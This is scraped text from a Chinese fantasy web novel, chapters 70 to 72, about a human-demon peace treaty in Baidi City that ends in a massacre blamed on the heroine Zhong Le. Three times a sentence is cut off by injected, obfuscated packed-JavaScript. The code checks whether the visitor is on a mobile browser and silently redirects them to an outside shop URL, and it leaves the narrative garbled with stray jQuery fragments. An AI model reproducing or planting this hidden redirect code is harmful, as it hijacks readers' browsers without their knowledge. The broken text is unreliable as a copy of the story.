不知过了多久,他们几个终于筋疲力尽的回来了。 他们个个都十分狼狈,衣服要么湿了,要么被烧焦,要么红一块黄一块的染上了各种杂乱颜色,可是,大家都很尽兴。这样幼稚的游戏,却也最快乐。 钟乐见衡阳格格不入,有心玩笑几句,拉近衡阳和大家的关系,可是,话未出口,她便发觉衡阳幽深的眸中满是沉重。 “衡阳……”钟乐有种不祥的预感。 “不要妄求和平了。”衡阳说。 “那是不可能的。” 楚欢唰一下跳起来:“你怎么反悔!” 摇光一脸恨意,咬牙切齿,当即要杀了衡阳,却被衡阳轻巧避开。 73. 第70章 “为什么?你不是……” “水月镜,天师,我知道你有面水月镜。前几日闲来无事,我也做了一面。”衡阳对钟乐说。 其他人或许不懂,但楚欢是最清楚不过的。曾经在娑罗村,钟乐就说过,她受她启发,做了两面镜子,一面观过往,叫做尘缘,一面窥未来,叫做水月。 “你看到了未来?和平协议的结果是失败?”楚欢说。 衡阳:“是。” “可是,我们还未开始做……” “对了,不是失败,而是惨败。”衡阳轻声说。 公冶侯神色闪烁,好似关怀般拍了拍楚欢的肩。 尘缘镜是受她启发,可水月镜,却实实在在是钟乐自己做的。楚欢看向钟乐,等待着钟乐会对这面镜子的结果说些什么。 “我不信。”钟乐说。 衡阳:“天师若不信,可以当场来看。” “我相信你的确在镜子中看到了惨象,但是,我不信那是真的。”钟乐说,“镜花水月,不过一场虚幻。不管什么时候,我们面前都有千千万万条路,我们可以做下千千万万个不同的决定,每一个决定,都指向一个命运。那么多条路,那么多个选择,一念之间,命运的触手向四面八方延伸,我们有无限可能的机会。可是,你却要在一切都还未发生的时候,就已经相信自己的命运一定是那镜中唯一的一种?” “这难道不是很荒谬吗?” 衡阳说:“但有时候,人不得不信命。” 钟乐说:“我不信。” 衡阳深深的看着所有人:“但我信。” “抱歉。”他道,转身就走。 “衡阳!”摇光不甘叫道。她恨死了衡阳,可是,在这种时候,她多么希望能得到衡阳的支持。 “我不会干涉你们,不会对抗你们。但是,若你们的选择最终妨碍到了我,那么届时,我不会留情。” 衡阳走了,方才的欢乐氛围一扫而尽,几人各怀心事,默默的暗自思忖着。 楚欢本来是很失落的,但后来转念一想,其实衡阳本来也就没有支持他们,反而处处打压他们、与他们做对。现在只不过重新变得和以前一样,甚至比以前还好一点点,因为衡阳说他这次不会对抗他们。 那么还有什么好怕的呢,继续做自己想要做的便是了! 她做好决定,恰与公冶侯目光对视,对方朝她点点头,微笑,示意他还是和以往一样,支持她的一切决定。 他的温柔与体贴,就如三月中的春雨,润物无声的滋润着她的心田。楚欢感激的笑一笑,握住他的手。 楚欢既如此,摇光便也没有了疑虑。衡阳退出,她虽失落,但仍旧拥有无限希望。 而念念生,他平生研究草药、翻阅医书,医者,有一颗仁心,他并不愿意看到生灵涂炭,彼此残杀。他愿继续。 至于钟乐,则从始至终都坚信着,命是用来踩在脚下的东西,是用来撕碎的东西,是她掌控了命,而不是命决定着她。所以,她也继续。 几人相视片刻,重新大笑起来。 衡阳既退出,那些他曾答应会放出来的活宠和奴隶,便继续被遥遥无期的关押了起来。 大家开始行动,在剩下的两个月时间里游历人间大地,将许多无辜的妖从痛苦折磨中拯救出来,让他们重见天日,还他们自由。 做这些的时候自然会遭到许多不解,可钟乐曾为人族斩杀妖帝,无人不知,无人不晓,许多人对她都是深深钦佩与敬重的。在她的游说和劝说下,人们虽然还心有疑虑,但到底半信半疑的收了手,并不与她做对。 可幸的是,天地宗的捉妖师们也没有故意为难他们、追究到底。 两个月间,他们风餐露宿、昼夜不停,救出了许多许多的妖,同时,也潜移默化的将“人妖平等”的理念灌输给百姓们。钟乐不知道他们究竟理解了多少,可是,她觉得,或多或少,会有一些作用的。 “第一次听到,会觉得这是疯了,第二次听到,仍旧破口大骂、不可置信,第三次听到,不屑一顾、嗤之以鼻,等到第四次听到,便已经习以为常,变得懒洋洋的,不再敏感和激进,只是疲惫的叹息一口气。” 很快,就到了白帝城宝石出矿的日子。 仲春之日,万物复苏,杨柳抽枝,新草吐芽。 大家携妻挈子,从外地赶来;一辆辆牛车、马车,川流不息。 一时间,白帝城人流云集,洋溢着热闹喜庆的气息。 白帝城的大街小巷,各色商铺,除了自己的本职买卖外,也都做起了宝石生意。 公冶侯和念念生对宝石没有什么感觉,相约着去小巷子里寻找酒肆喝酒。楚欢则兴致勃勃的拉着钟乐去观赏那些名贵美丽的宝石。 有些宝石出矿后未进行任何加工,保留着最原始的形状,看似十分粗犷,可其实正是这份粗犷,才造就了一种独有的天然纯朴之美。 一块块宝石,有些小如指甲盖,有些正好一只拳头可以握住,有些通红如鸽子血,有些湛蓝如汪洋大海,有些幽绿如上古森林,在阳光下,折射出五颜六色的光辉,将人的衣服都映照的变了颜色,红、黄、蓝、绿、紫……光彩夺目,令人目眩神迷。 其中,有一块椭圆形的宝石,它恰和成年女子一般高、一般宽,中心晶莹剔透,边缘则糅杂了幽幽的绿色,一丝一缕,仿若藤蔓缠绕。 众人啧啧称奇,不相信世上会有这么大的一块宝石,但城主衡阳笑着解释说,这块宝石货真价实,是从矿场中采集而来。不过确实难遇难求,千百年来,也只这一颗。 一个风姿绰约、面容姣好的贵妇人款款走来,立于宝石前,不觉惊喜的轻叫一声。 原来这块宝石十分透亮,就如同一面镜子,清晰的映照出了她的容貌。并且,光线经过宝石的折射后,将镜中她的面容神奇的变的年轻,眼角的细纹消失不见,已经瘦削的脸庞重新雪白饱满,就仿佛岁月从未留下过痕迹,她又变成了一个天真灵动的少女。 贵妇人轻轻揩去眼角的泪水。 衡阳笑说:“这面宝石可以作为镜子,但是,它照见的却是二十年前的自己。” 这当然不是缺点,这是优点!谁不想追忆往昔,再看到那个或懵懂天真、或风华正茂的自己呢? 一时间,不少人激动起来,大腹便便的秃顶中年男人,白发苍苍的老者,养尊处优的闺门小姐……全都高声喊价。 衡阳微笑上前,绯红衣袍经过宝石折射,更加璀璨鲜红,不可直视。 他轻轻拂过这块宝石的中心,刹那间,如水面荡开阵阵涟漪,宝石中出现了一副众人都未见过的画面。 只见画面中,是一个一头银发的老妇,怀抱一只雪白的小狗,低声哼唱着一支绵长的曲子。 窗外晚霞烂漫,花瓣如雨,簌簌而下。 她看了一会儿,叫道:“落英,吃饭了。” 一个俏皮可爱的小丫头应了一声,很快做好一桌清淡但又精致的饭菜,端过来与老妇同吃。 吃罢饭,老妇觉得有些冷,吩咐落英道:“把火生起来吧。” 落英笑道:“这可正是夏天呢,白天里日头那么暖,您老怎么就想着烤火了!” 老妇也笑道:“老了,老了,骨头里的火气都流逝了,不像你们年轻人,下着大雨,也能撒丫子奔跑。” 落英生起火,老妇怀中的小狗舒服的打起呼噜,老妇摸着它柔软的皮毛,在温暖的火光中,渐渐也睡着了。 她做了一个梦。 梦里,先是出现一个优雅温和的中年贵妇,然后,又出现一个着绿色衫子、在大雨中肆意奔跑的灵动少女。 众人恍然大悟,纷纷拍手道:“是她!是她!” 正是此时这贵妇人。梦中先是出现她如今的模样,又出现方才她在镜中看到自己二十年前的模样,那么这老妇…… 衡阳笑道:“不错,这老妇就是她。这是未来,也是,命运。” 贵妇人眼角再次湿润了,喃喃道:“这就是多年之后的我吗……” 年轻的时候,她也曾和其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463581|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他明媚纯真的少女一样,对将来自己要携手一生的那个人满怀期待。她想,他们要一起吃饭、一起睡觉、一起逛街、一起看花灯、一起听说书、一起游山玩水,做好多好多有趣的事,然后,生好多好多个孩子,看着他们调皮捣蛋,快乐玩闹。 等到老了,她和他白发苍苍,儿孙满堂。在一个温暖的春日里,他们牵着手,一同微笑着离去,回首一生,没有遗憾,也没有惆怅。 只可惜,所遇非良人,第一次遇见的那个人,就伤透了她的心,打碎了她所有的幻想。 她再也不愿与他人作伴,而是选择一人走过余生。 她的亲人数次规劝,说她没有丈夫,没有儿女,晚年将十分凄惨,她口中冷冷说不必他们记挂,可心中却真的有几分隐忧。 如今她看见了,这一生,或许平淡,但并不孤独与凄苦。 平淡,也未尝见得不幸福。 “这块宝石,我买了。” 周围人不同意了,这块既能见过往、又能窥未来的宝石,凭什么她想要就给她啊! “不行!我买!” “本大爷也要买!” 一时间,大家吵吵嚷嚷,越来越激烈,大有要打起来的架势。争着争着,大家纷纷请城主主持公道,看这块宝石到底应该属于谁。 衡阳微笑:“此为竞拍,价高者得。” 顿时,没钱的人扼腕叹息,有钱的人面红脖子粗,不停加价,只可惜,有钱人之外是更有钱的人,永远都有人以更高的价格来竞拍这块宝石。到最后,这块宝石被炒的价值连城,饶是如此,还有两个人在继续竞争! 一个是方才那贵妇人,还有一个,则是一个白发苍苍、气质沉稳威严的老翁。 人群中,楚欢痛心疾首:“奸商啊!” 这不就是尘缘镜和水月镜的功能吗!早知道如此值钱,她就应该和钟乐一起开个作坊,专门制作一堆小镜子去卖的! 钟乐亦愤愤:“不只奸,而且坑蒙拐骗!”看见过往的确是真的,但是看见未来这种事怎么能相信呢! 宝石的展示和交易仍旧如火如荼的进行着。 除了天然未经打磨的宝石,还有一些已经经过了加工的宝石,此类,大多被做成了美丽的首饰。 有一支衔珠双蝶红绿宝石簪。 左右两边,各有一只用金丝线攒成的蝴蝶,振翅欲飞,栩栩如生。正中心,则镶嵌着一颗熠熠生辉的宝石,半边红,半边绿。 瞧起来十分生动,就好像两只蝴蝶围绕着宝石嬉舞。 还有一对小巧的耳坠,是将蓝宝石做成一只生动的蓝蜻蜓。戴上去,一摇一摆间,仿佛蜻蜓在肩膀上方飞翔,十分的灵动俏皮。 “火树银花!”好看的首饰有许多,钟乐却从中挑出一支并不算起眼的木簪来。 木簪乃桃木打磨,色调温暖,手感细腻,它的簪头处,镶嵌着一颗流光溢彩的橘色宝石,与桃木的色泽倒是十分搭配。 楚欢觉得这支不好看,钟乐却摇头笑说:“这个看着虽不起眼,可其实却是最名贵的呢。” 一旁掌柜的笑道:“姑娘果真有眼光,这支簪子上镶嵌的宝石名为‘火树银花’,这种宝石极为稀有,极为名贵,千百年间,不过采摘出了寥寥几颗。而且这种宝石还有一个特殊的功用,便是它会散发出一种安神的幽香,放在枕边,不管有多么烦心的事,也很快就能睡着,一觉起来,会觉得神清气爽,烦恼全无。” 钟乐点点头,爹爹以前也有一颗火树银花,当时妖怪们在人间大地上肆虐的时候,爹爹虽在她面前什么都没有表现出来,可其实,心里是很忧愁的。 想来那时,他已经日日都要依靠着那颗火树银花,才能入睡。 掌柜的见钟乐将这颗宝石摸了又摸,本来都做好将它卖出一番好价钱的打算,但是钟乐最终却笑着摇摇头,说她不喜欢戴簪子,又放下了。 几人离开,掌柜的十分遗憾。 这时,有一只白猫,迈着优雅的步子,不经意的走到那支桃木簪旁边。 74. 第71章 大约过了七八日,来白帝城的人愈发多了,大街小巷,可谓摩肩擦踵。 且这几年又不再为妖怪而担惊受怕,百姓们生活和乐,脸上都洋溢着幸福满足的笑容。 在一个晚霞绚烂的傍晚,钟乐、楚欢、念念生、公冶侯四人登上了九龙台,他们都觉得时候差不多了,对视一眼,钟乐说:“诸位。” 她的声音响彻白帝城,每一个人都惊讶的抬起头来望着她。 绚烂如锦的晚霞下,她一袭红衣,背上背着一把黑剑,大家很快就认出了她:“天师!” 钟乐微笑:“诸位,今日在此,我有一件事要宣布。” 有些人满脸好奇,凝神静听;有些人却已经得知了过往两个月她放走很多妖怪的事,虽然这段时日来放走的那些妖怪们并未作恶,就好像被约束起来,消失不见,可是,他们心中还是颇有芥蒂,此时,有些不满的嘀咕道:“不会又是和妖怪有关的吧?” 钟乐挥手,九龙台上出现一页由法力凝集而成的、巨大的卷轴,上面密密麻麻,满是字迹,像是一篇什么文书。她说:“我希望,签署了这份和平协议,从今往后,人与妖,便能互不侵犯,和平共处。” 底下起了轩然大波。有人知道她放走妖怪的事,却不知道,她今日这项举动,竟是要从此放过所有的妖怪! 大家观看那文书上的字,和平协议上约定,妖怪和人分享土地、共同生存,不得仇视、不得残杀。 可即使过了三年太平日子,过往的惨象仍未真正的从每一个人心头抹去,一时间,群情很激奋。 就像是一只野兽,明知道它有獠牙和利爪,明知道它会伤人,解决它的最好办法,就是拔去它的獠牙利爪,将它永生永世囚禁在笼子里,不见天日。而不是将它放出牢笼,说什么,大家和平相处。这不可能!野兽从来都是嗜血的!这是他们的本性! “天师是让它们恢复自由,好和以前一样的杀了我们吗?” “是啊,天师,妖毕竟是妖,和它们,是讲不得道理的。此时它们为了逃出我们的掌控,故作可怜,哀求讨好,可一旦它们获得喘息的机会,就会暗中发展自己的力量,它们野心勃勃,凶狠野蛮,待时机成熟,它们就会和以前一样卷土重来,欺压我们、屠杀我们。天师一颗大爱之心,我等深深敬佩,只是,想法和现实之间,隔着一道不可跨越的鸿沟。千百年的仇恨,不是一朝一夕就能够化解的,还望天师一定慎重思虑啊!” “是啊,天师!” 面对纷纷质疑,念念生首先温声解释说:“大家不必担忧,我们既做出这样的决定,就一定想好了如何去约束它们。” 他指着卷轴:“这里,还有这里,都有写,若它们胆敢和以前一样,我们就再也不会留情,会强硬的镇压它们。” “况且,这两个月,我们虽在救妖,可是,也除去了很多很多心怀仇恨的邪恶之妖,只留下良善之妖。我觉得,善是没有错的,不管善的对象是人还是妖,大家觉得呢?” 他谆谆善诱,有些人觉得有几分道理,可是,还是有许多人十分质疑。 他们恐惧妖,而让他们安心的最好方法,不是面对恐惧、和恐惧和平相处,而是消灭他们所恐惧的那个东西! 这时,钟乐认真的说:“大家不相信我吗?当年我有能力灭了妖帝,保我族平安,今后我便仍旧有能力,继续保大家平安。” 这话有理,这天下谁人不知晓钟乐、不敬重钟乐、不相信钟乐呢!有她在,大家放心很多,可是,骨子里的恐惧还是没有那么容易就消除,在这种关键时刻,大家将目光投向了衡阳。 如今几乎所有法力高强的捉妖师都在他手下、听他号令,这种重要的决定,大家自然依赖他。 钟乐有些紧张,她虽有大家的敬重信赖,可如今她却并没有实权,若是衡阳说个“不”字,那么大家恐怕仍会偏向他。 不过幸好,衡阳没有反对。 虽然也没有支持,但是,这就已经很好了。 渐渐的,大家开始同意钟乐了。 钟乐大松一口气,划破手指,用鲜血在卷轴的左下方写上自己的名字,右下方,她要等摇光来写。 但在这时,有一个人跌跌撞撞的冲到人群前面来。 这是个壮年男子,方才他还在一脸乐呵的陪着妻儿观赏、购买宝石,可是此刻,他的面容都扭曲了,声音中充满愤怒:“不!不行!你不能代表我做决定,我不同意!” “可是,更多的人同意。” “那又怎么样!他们是他们,我是我!我死也不会同意你放了他们、还他们自由!”他渐渐哽咽,“我爹,我娘,我妹妹,他们都是被妖怪杀死的。那时候我还小,还不懂得死亡是什么意思,我把他们身上的血擦干,给他们盖好被子,然后坐在一边耐心的等。我以为他们只是受伤了,睡一觉醒来就好了,就像我小时候发热,我娘给我煮一碗姜汤,我喝了,睡一觉,醒来病就好了,就又可以去院子里和妹妹玩耍了。可是,这次我等了很久很久,他们都没有醒来,我不相信,我还是等,渐渐的,他们的身体开始腐烂,生蛆,发臭,流脓……这时我才终于明白:我再也等不到他们了。我赶走他们身上的蚊蝇蛆虫,挖三个墓穴,一块块的将白骨拼好,放在我挖的洞里,然后一抔一抔洒下黄土,我爹我娘还那么年轻,我妹妹,还那么小,明明不久之前,她还蹦蹦跳跳的跟在我身后,喊我哥哥,可是……” 他咬牙说:“妖怪就该受尽折磨、永世不得超生!天师,如果今日你放了他们,我会恨死你的!我这一辈子都不会放过你!死了也要化作厉鬼缠着你!” 他情绪十分激动。他的妻子,怀抱着一个粉雕玉琢的可爱小女孩儿,从人群中挤上来,匆忙的试图安抚他,让他不要再说了。可是,他一把挥开她的手,表示她不要管他。他说:“我不只是为了我爹娘他们,我也是为了你们,为了你们安好!你懂吗?为了你和孩子!” 那妻子尴尬又愧疚的笑了笑,不停向周围人道歉。 那个男子越来越愤怒,从怀中掏出一把泛着寒光的匕首。 “看来,我是劝不了你了。那么,今日我便一定要杀了你……”他满脸仇恨的要冲上九龙台,杀了钟乐,但被大家七手八脚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478422|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制服住了。 他的女儿从未见过爸爸如此可怕的模样,害怕的哭个不停,他的妻子不停的安抚着女儿。 “放开我!放开我!”他大吼。 钟乐说:“我爹、我娘也是死在妖怪手中的。” 她理解他的感受,她也曾恨死了他们,可是,恨真的可以解决一切吗? “杀你家人的妖,和如今无辜的妖,并不是同一个。更何况,如今你妻儿在侧,人生圆满,为什么不能往前走,而是要沉浸在过往的仇恨中无法自拔呢?” “我忘不掉,我永生永世忘不掉……况且,你今日所为,还会伤害到我的妻儿……”这男子的嘴被塞了起来,呜呜咽咽,就如寒风过荒草。 他被彻底收押起来,再也发不出声、动不了了。 钟乐这才又松了一口气,仰天道:“摇光。” 人群发出惊呼,只见晚霞中,一片黑色的剪影掠来,就如飞鸟。待近了,大家便发现那是一群御剑而来的妖怪。 钟乐说:“不必怕。” 群妖落地,大家仍旧惧怕,纷纷后退,自动让出了一个圆。妖怪们带着劫后余生的感激笑容,想和周围的人说两句话,却见他们如此惶恐,自己便都有些讷讷的,不知所措。 摇光一袭黑衣,登上九龙台,然后,她忽然跪了下来。 下面群妖见她如此,也纷纷跪了下来,周围的人议论纷纷、也有些不知所措了。 “多谢大家能够宽恕、原谅我们,此番大恩大德,我族铭记在心、永世不忘。” “摇光也在此立誓,从今往后,定会管理好群妖。谁若作乱,我必格杀勿论。” 她的眼中依稀有泪光浮现,按照人族礼仪,深深的三叩首。 摇光无疑是骄傲的,可是,为了无辜的群妖,她愿意放下一切的自尊。她膝行到卷轴之下,改为半跪的虔诚姿势,咬破手指,鲜血滴落。 她静静等了一会儿,下方很肃穆,肃穆到近乎雄伟与苍凉。白帝城,在这个地方发生过两次惊天旷地的大屠杀,可不管是妖杀人、还是人杀妖,最终的结果,都是尸横遍野、血流成河。 而这一次,人与妖齐聚这里,终于不是为了屠杀。 没有反对之声,摇光一笔一划,在卷轴右下方写上自己的名字。 夕阳照射下,雪白的卷轴闪闪发光,上面的黑字、红字,一字一句,郑重隽永。 妖怪们喜极而泣,而人,作为胜利者,在饶恕的刹那,虽仍有不甘,但大抵也觉出了一丝释然。 一切的仇,一切的恨,从此就终止在过去吧。 明日的太阳,将是新生。 “宗主,这……”衡阳手下的修士犹豫道,不知衡阳是何态度。 “无妨,由他们去。”衡阳漫不经心的应,他此刻的注意力全部放在周围,就好像有什么大事将要发生,修士不明所以,也跟着环顾了一下。 忽然,衡阳疾声道:“不对。” 修士还是什么都没有发现:“宗主?怎么了?” 却见衡阳神色凝重的思考片刻,摆摆手,笑说:“没什么。” 75. 第72章 过了好一会儿,九龙台上,摇光突地心惊,笑容凝固:“不对。” “怎么了?”钟乐不知发生了什么,明明一切都十分正常。 摇光绝望的深深看她:“天师,你说怎么了?” “怎么了啊?”钟乐还是不懂。 楚欢、公冶侯,甚至念念生这个法力比较浅显的人也觉察出了不对劲。楚欢怔怔说道:“阿乐,你……是不是你?” “到底怎么了!” “死阵,有人设了一个死阵,整个白帝城都囊括其中。” 钟乐后知后觉的反应过来:“你们……你们怀疑是我?” 她觉得可笑,怎么可能是她,如果她的目的是用死阵杀了群妖,那么,又何必大费周章的谈什么和平协议?直接杀不是更好吗? 可是,死阵,乃这天底下最阴毒强劲的阵法,在东、南、西、北、西北、东北、东南、西南八个方向,牢牢罩下天罗地网,不放过任何一点漏洞,人入其中,必死无疑。 布置这样的阵法,自然是需要耗费极大法力的,更何况,今日这个死阵,以整座白帝城为阵,这样大的架势,就需要更多的法力了,可以说是浩如烟海。极目望去,如今这世上,能做到的,除了她,恐怕没有几个。 “不,不是我,一定另有其人。” “可是,天师,你的法力远强于我们,应该能比我们早许多时间发现阵法。可是为什么,从方才至此刻,这么长的时间,你却从未提醒过我们?” 结一个阵法是需要时间的,就算结阵之人再谨慎隐蔽,也难免会有法力波动,法力高强之人,就可以敏锐的觉察到。若是,在结阵之人还未结完阵的时候,就已经发现不对劲,那么,就可以在还未结好阵的方向逃出来。 可是,如今已经迟了。 死阵已彻底结好。钟乐心头突的一跳,摇光他们不能在很早的时候就发现死阵,可是,她应该是能发现的,但,她真的什么都没有感觉到!一丝一毫都没有! “不管了,反正死阵是吧,我破了就好了,那样,你们就不能再冤枉我了吧?” 死阵虽可怕,但它仍然属于一个阵法。 而只要是阵法,就必然存在薄弱之处——阵眼。 所以,死阵又名七杀阵,就是因为在八个方向中,有一个方向会成为阵眼,破了阵眼,便还是拥有一线生机。只不过,古往今来,能够破了死阵阵眼的人少之又少,才让本来是七杀的阵法,接近于八杀。让本可以生的人,变成了死。 但她是谁?她是钟乐,她有自信自己能够破了阵眼。 可是,钟乐渐渐双手颤抖,满头大汗。 参商飞不起来了,她无法御剑。 “没关系。”她勉强笑一笑,自己走下九龙台,但到了下面,她心里着急,又被人群一挤,竟然就这么跌倒在了地上! “天师?你没事吧?”有人担忧的扶起她,发现她手心中已经渗满了汗水。 “没事。”钟乐笑一笑,“待我去破了,破了……” 她再次脸色苍白的跌倒在地,汗珠滚滚。 她的法力,一瞬之间,消失的无影无踪。 “怎么会这样,怎么会这样……”她绝望的喃喃着,想再次站起来,可是,身体沉重如铅,就像是无数个冤魂从地底伸出手,死死的抓住了她。 头也开始剧痛起来,密密麻麻,无数人在说话,或伤心,或压抑,或哀求,或啜泣,或绝望……那是她杀过的所有的人!是他们! 一切都已混乱了。 群妖绝望的大叫,想要逃离死阵,却根本无能为力。 死阵触动,一轮又一轮的万箭穿心,群妖死的死,伤的伤。 一开始,他们求饶,求钟乐放过他们,可是后来他们发现求饶是没有用的。他们今日必死无疑。 他们歇斯底里的大笑起来。 摇光冷冷的说:“那么,一起下地狱吧!” 死阵内的妖怪开始对百姓出手,反正如今大家同被困在阵中,谁也出不去。 死是吗?那么,一起吧。 这个时候,衡阳出手了,他带着捉妖师,开始斩杀群妖。 这是白帝城的第三场屠杀。 血肉翻滚,白骨森森,癫狂的笑,痴狂的哭……这里,成了一片地狱。 钟乐跪在地上,大叫:“住手!住手!” 可是,再也没有人能听清她的话。 这时,忽然响起一阵惊呼!死阵不对劲,它不只杀妖,它还开始杀人! 一支支流箭,闪着蓝莹莹的法力,呼啸着插向人的心口。人不比妖有法力,无法自保,一时之间,死伤大半。 “天师,这是怎么回事!” “阵法不对劲,天师你想干什么!” “天师?天师?” 不是我,不是我不是我不是我不是我!!! 一支箭矢,穿云破竹的朝着钟乐飞来。可是,钟乐没有大声说话的力气,也没有躲避的力气。她努力抬起头,眼睛中出现飞箭的倒影。 她看着周围的残肢断臂,心想,要不,就死了算了吧。 一个白色的影子突然蹿过来,奔到她的身边,在千钧一发之际,狠狠的一爪将那支箭劈开! “你……” 钟乐喘一口气:“你怎么来了?” “我要是不来,今日你就死在这里了!”李刻青恶狠狠的说,他化了猫形,雪白的皮毛上沾染着殷红的鲜血。钟乐说:“这么多血,刚才你也去杀人了吗?” “没有,我是让他们不要彼此杀害,这是阴谋。”泪水从白猫的眼角滚滚落下,它狠狠抬爪抹去。 钟乐说:“你信我,是吗?” 李刻青说:“信。” 钟乐疲惫的笑了:“谢谢,可是,我不知道我怎么了,一点力气都没有,法力也全部消失不见了……” 白猫在落泪,无声的落泪。他想自己一定哭的很丑,可是,他还是忍不住的哭,他不明白到底为什么变成了这样,不明白是谁,这么见不得人与妖的和平! 一切的嘶喊和惨叫都停止了。 箭雨消失,夕阳金黄的余晖重新洒落下来,和既往一样的平和,一样的温柔。 原来,衡阳找到阵眼,破了这七杀阵。 他大概花费了很大力气,受了很重的伤,嘴角有一抹血迹。 妖已经全部都死了,摇光被万箭穿心,可是,她倔强的不肯倒下,在死前最后一刻,用自己的剑立在地上,穿透她的身体,也因此,支撑住了她。 那双眼睛中,满是好笑和嘲讽,嘴角弯起,冷冷的讥嘲着世人。 所有的指责、愤怒都如潮水般向钟乐涌来。她设下死阵诱杀妖怪,是可以的,他们完全不反对,反而赞同,可是,死阵竟然也要杀了他们!而且群妖在临死前也对他们大杀出手!这一切都是钟乐造成的,钟乐是何居心!若不是衡阳宗主,恐怕,现在剩下的他们也无法活着,都要一齐死去。 可是,正因为活着,他们才更加愤怒。 本来,他们携妻带子、呼朋唤友,欢欢喜喜的来观赏购买白帝城的宝石,可是,此时,好多人都死了,幸存下来的只剩了他们。 凭什么?为什么?他们又做错了什么? “钟乐,钟乐!”有个人癫狂的大叫起来,双目血红。 正是之前反对她的那个男人。 但此时,他的神色疯狂许多,像是彻底失去了某种牵绊。他满脸鲜血,他的脚下,他的妻子怀中抱着他们的小女儿,双目紧闭,小女儿十分乖巧的贴在母亲的胸口,两个人就像是睡着了。 但其实,她们已经死了。 就像许多年前,他爹、他娘、他妹妹一样。 死了,就是再也不会醒过来了。 再也不能承欢父母膝下,再也不能带着妹妹玩耍,再也不能为妻子画眉,带小女儿游花灯会,为她们买一颗美丽的宝石簪子,别在发间,熠熠生辉。 他捡起那把寒光闪闪的匕首,只是,这次,没有人再阻止他。 “杀了她,杀了她。”男人步步走近,冷静,亦疯狂的说。 人群被他怂恿,失去亲人的悲痛,化为滔天的仇恨。 “杀了她!杀了她!”喊声越来越大、越来越激动。 “不是我设了死阵,也不是我让群妖杀人……”钟乐忽然醒悟:“衡阳?!” 衡阳抹去嘴角鲜血,恭敬道:“天师。” 这种时候了,他还这样叫她,真不知是真心还是讽刺。 “是你,对吗?!” 这天下,有能力用一座城设下七杀阵的,除了她,就是衡阳。 其一,他对妖怪恨之入骨,他是不可能答应与他们和平共处的,所以他设下死阵,杀妖。 其二,他让死阵也杀人,等到最后关头,他再自己破开这七杀阵,赢得幸存者的敬畏,巩固自己的威信与地位。 其三,经此一事,世上再也无人相信钟乐,从此,他就是这世上的第一人。 一石三鸟,好计谋!钟乐嘲讽的微笑:“衡阳,我当初,果然没有看错你。” 终有一日,他闯出了自己的一番天地。 “若死阵是我所设,那我当初又为何要去蓬莱岛提醒你们放弃和平协议呢?不是多此一举吗?” 钟乐微笑:“你刚才,察觉死阵了吗?” 衡阳说:“察觉了。” “既不是你所为,那为何不提醒?” 衡阳淡淡说:“我为何要提醒?我做到了当初我答应你们的,我既没有干涉你们,也没有对抗你们。” 钟乐大笑起来:“衡阳,你觉得,我信吗?” 衡阳沉默片刻,轻声道:“天师,我或许小气,可我不是个小人。” “你觉得,我信吗?”今日在场之人,除了他,还有谁有能力做到这一切? 衡阳摇摇头,转身,一个修士说:“宗主破阵费心力了,我扶您去调养一下吧?” 衡阳离开了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493107|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 念念生努力的拳打脚踢,不许别人靠近他。可是,他的法力太弱了,很快就被制服,押走了。他临走前还叫着:“钟乐,我是相信你的,我们没有做错……唔……” “谢谢。”钟乐喃喃。 她在剩下的人中寻找楚欢与公冶侯,可是,却没有发现他们的身影。不在站着的人里面,那么……钟乐望见地上横躺的尸体,泪水滚滚而下。 “把她抓起来!” 立即有两个人上前,将钟乐拖上九龙台,李刻青想要反抗,钟乐却摇摇头,他身上有她设的掩藏妖气的术法,现在这些人现在还没有发现他是妖,只当他是一只猫,他只要不暴露,就能够平安了。 “走。”钟乐低声说,“走。” 他知道去哪里,蓬莱岛,上次楚欢他们离开后,她又重新合上了结界。那是她法力鼎盛时期所设,就算衡阳,也是无法进来的。 “走!” 可是白猫无声却又坚决的拒绝了她,迈着步子,跟着人群上了九龙台。 他们用两根铁链,将钟乐吊了起来。 那个男人平静中带着隐隐的疯狂,拿着匕首走上前来,打量钟乐。 钟乐本以为,他不会立马就杀了她,却没想到这男人狠狠一匕首往她的脖子割去,竟是要割下她的头颅! 电光石火间,白猫高高跳起,在半空中时化为人形,一把抓住匕首。 “妖!妖!这猫是妖!” 立马有修士制服了李刻青,只是,要杀了他的时候,那男人却微微一笑:“先别杀他。” 李刻青被捆妖索捆起来,按着他的头要他跪在地上,他死活不从,喉咙中发出危险的咆哮。 一个修士狠狠一击,打断了他的腿。 他惨叫一声,跪倒在地。 “一人,一妖,哈哈哈,还真是仗义啊。”那男人说,“看着。” 